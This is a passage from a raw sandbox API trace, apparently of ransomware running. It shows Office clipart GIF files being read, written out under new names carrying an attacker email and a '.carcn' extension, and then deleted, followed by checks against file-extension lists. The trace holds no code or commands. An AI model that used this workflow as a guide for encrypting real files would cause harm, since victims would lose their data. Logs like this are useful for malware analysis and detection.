(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.232] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=11891) returned 1 [0184.232] CloseHandle (hObject=0x374) returned 1 [0184.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0184.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0184.237] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.237] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0184.426] GetLastError () returned 0x0 [0184.426] ReadFile (in: hFile=0x364, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x2e73, lpOverlapped=0x0) returned 1 [0184.441] WriteFile (in: hFile=0x308, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0184.442] ReadFile (in: hFile=0x364, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.442] WriteFile (in: hFile=0x308, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.442] SetEndOfFile (hFile=0x308) returned 1 [0184.451] CloseHandle (hObject=0x308) returned 1 [0184.452] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.452] SetEndOfFile (hFile=0x364) returned 1 [0184.453] CloseHandle (hObject=0x364) returned 1 [0184.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0184.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.457] lstrlenW (lpString=".doc") returned 4 [0184.457] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.457] lstrlenW (lpString=".docx") returned 5 [0184.457] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.457] lstrlenW (lpString=".pdf") returned 4 [0184.457] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.458] lstrlenW (lpString=".xls") returned 4 [0184.458] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.458] lstrlenW (lpString=".xlsx") returned 5 [0184.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.458] lstrlenW (lpString=".ppt") returned 4 [0184.458] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.458] lstrlenW (lpString=".zip") returned 4 [0184.458] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.458] lstrlenW (lpString=".rar") returned 4 [0184.458] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.458] lstrlenW (lpString=".bz2") returned 4 [0184.458] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.458] lstrlenW (lpString=".7z") returned 3 [0184.458] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.458] lstrlenW (lpString=".dbf") returned 4 [0184.458] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.458] lstrlenW (lpString=".1cd") returned 4 [0184.458] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.458] lstrlenW (lpString=".jpg") returned 4 [0184.458] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.458] lstrlenW (lpString=".doc") returned 4 [0184.459] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.459] lstrlenW (lpString=".docx") returned 5 [0184.459] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.459] lstrlenW (lpString=".pdf") returned 4 [0184.459] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.459] lstrlenW (lpString=".xls") returned 4 [0184.459] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.459] lstrlenW (lpString=".xlsx") returned 5 [0184.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.459] lstrlenW (lpString=".ppt") returned 4 [0184.459] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.459] lstrlenW (lpString=".zip") returned 4 [0184.459] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.459] lstrlenW (lpString=".rar") returned 4 [0184.459] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.459] lstrlenW (lpString=".bz2") returned 4 [0184.459] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.459] lstrlenW (lpString=".7z") returned 3 [0184.459] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.459] lstrlenW (lpString=".dbf") returned 4 [0184.459] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.459] lstrlenW (lpString=".1cd") returned 4 [0184.459] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0184.460] lstrlenW (lpString=".jpg") returned 4 [0184.460] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.460] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.460] lstrlenW (lpString="AG00103_.GIF") returned 12 [0184.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0184.471] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=12702) returned 1 [0184.471] CloseHandle (hObject=0x34c) returned 1 [0184.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0184.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0184.471] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.472] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0184.478] GetLastError () returned 0x0 [0184.478] ReadFile (in: hFile=0x34c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x319e, lpOverlapped=0x0) returned 1 [0184.513] WriteFile (in: hFile=0x394, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x31a0, lpOverlapped=0x0) returned 1 [0184.514] ReadFile (in: hFile=0x34c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.514] WriteFile (in: hFile=0x394, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.514] SetEndOfFile (hFile=0x394) returned 1 [0184.514] CloseHandle (hObject=0x394) returned 1 [0184.515] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.515] SetEndOfFile (hFile=0x34c) returned 1 [0184.516] CloseHandle (hObject=0x34c) returned 1 [0184.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0184.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.516] lstrlenW (lpString=".doc") returned 4 [0184.516] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.516] lstrlenW (lpString=".docx") returned 5 [0184.516] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.516] lstrlenW (lpString=".pdf") returned 4 [0184.516] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.516] lstrlenW (lpString=".xls") returned 4 [0184.516] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.516] lstrlenW (lpString=".xlsx") returned 5 [0184.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.516] lstrlenW (lpString=".ppt") returned 4 [0184.516] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.517] lstrlenW (lpString=".zip") returned 4 [0184.517] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.517] lstrlenW (lpString=".rar") returned 4 [0184.517] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.517] lstrlenW (lpString=".bz2") returned 4 [0184.517] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.517] lstrlenW (lpString=".7z") returned 3 [0184.517] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.517] lstrlenW (lpString=".dbf") returned 4 [0184.517] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.517] lstrlenW (lpString=".1cd") returned 4 [0184.517] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.517] lstrlenW (lpString=".jpg") returned 4 [0184.517] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.517] lstrlenW (lpString=".doc") returned 4 [0184.517] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.517] lstrlenW (lpString=".docx") returned 5 [0184.517] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.517] lstrlenW (lpString=".pdf") returned 4 [0184.517] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.517] lstrlenW (lpString=".xls") returned 4 [0184.517] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.517] lstrlenW (lpString=".xlsx") returned 5 [0184.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.517] lstrlenW (lpString=".ppt") returned 4 [0184.517] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.517] lstrlenW (lpString=".zip") returned 4 [0184.517] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.518] lstrlenW (lpString=".rar") returned 4 [0184.518] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.518] lstrlenW (lpString=".bz2") returned 4 [0184.518] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.518] lstrlenW (lpString=".7z") returned 3 [0184.518] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.518] lstrlenW (lpString=".dbf") returned 4 [0184.518] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.518] lstrlenW (lpString=".1cd") returned 4 [0184.518] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0184.518] lstrlenW (lpString=".jpg") returned 4 [0184.518] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.518] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.518] lstrlenW (lpString="AG00139_.GIF") returned 12 [0184.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0184.518] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=10607) returned 1 [0184.518] CloseHandle (hObject=0x34c) returned 1 [0184.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0184.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0184.519] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.519] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0184.519] GetLastError () returned 0x0 [0184.519] ReadFile (in: hFile=0x34c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x296f, lpOverlapped=0x0) returned 1 [0184.540] WriteFile (in: hFile=0x394, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x2970, lpOverlapped=0x0) returned 1 [0184.540] ReadFile (in: hFile=0x34c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.541] WriteFile (in: hFile=0x394, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.541] SetEndOfFile (hFile=0x394) returned 1 [0184.541] CloseHandle (hObject=0x394) returned 1 [0184.541] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.541] SetEndOfFile (hFile=0x34c) returned 1 [0184.542] CloseHandle (hObject=0x34c) returned 1 [0184.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0184.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.543] lstrlenW (lpString=".doc") returned 4 [0184.543] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.543] lstrlenW (lpString=".docx") returned 5 [0184.543] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.543] lstrlenW (lpString=".pdf") returned 4 [0184.543] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.543] lstrlenW (lpString=".xls") returned 4 [0184.543] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.543] lstrlenW (lpString=".xlsx") returned 5 [0184.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.543] lstrlenW (lpString=".ppt") returned 4 [0184.543] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.543] lstrlenW (lpString=".zip") returned 4 [0184.543] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.543] lstrlenW (lpString=".rar") returned 4 [0184.544] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.544] lstrlenW (lpString=".bz2") returned 4 [0184.544] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.544] lstrlenW (lpString=".7z") returned 3 [0184.544] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.544] lstrlenW (lpString=".dbf") returned 4 [0184.544] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.544] lstrlenW (lpString=".1cd") returned 4 [0184.544] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.544] lstrlenW (lpString=".jpg") returned 4 [0184.544] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.544] lstrlenW (lpString=".doc") returned 4 [0184.544] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.544] lstrlenW (lpString=".docx") returned 5 [0184.544] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.544] lstrlenW (lpString=".pdf") returned 4 [0184.544] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.544] lstrlenW (lpString=".xls") returned 4 [0184.544] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.544] lstrlenW (lpString=".xlsx") returned 5 [0184.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.544] lstrlenW (lpString=".ppt") returned 4 [0184.544] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.545] lstrlenW (lpString=".zip") returned 4 [0184.545] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.545] lstrlenW (lpString=".rar") returned 4 [0184.545] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.545] lstrlenW (lpString=".bz2") returned 4 [0184.545] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.545] lstrlenW (lpString=".7z") returned 3 [0184.545] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.545] lstrlenW (lpString=".dbf") returned 4 [0184.545] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.545] lstrlenW (lpString=".1cd") returned 4 [0184.545] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0184.545] lstrlenW (lpString=".jpg") returned 4 [0184.545] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.545] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.545] lstrlenW (lpString="AG00157_.GIF") returned 12 [0184.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 20 os_tid = 0xd70 [0157.961] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3ba1520 [0157.962] lstrlenW (lpString="C:") returned 2 [0157.962] FindFirstFileW (in: 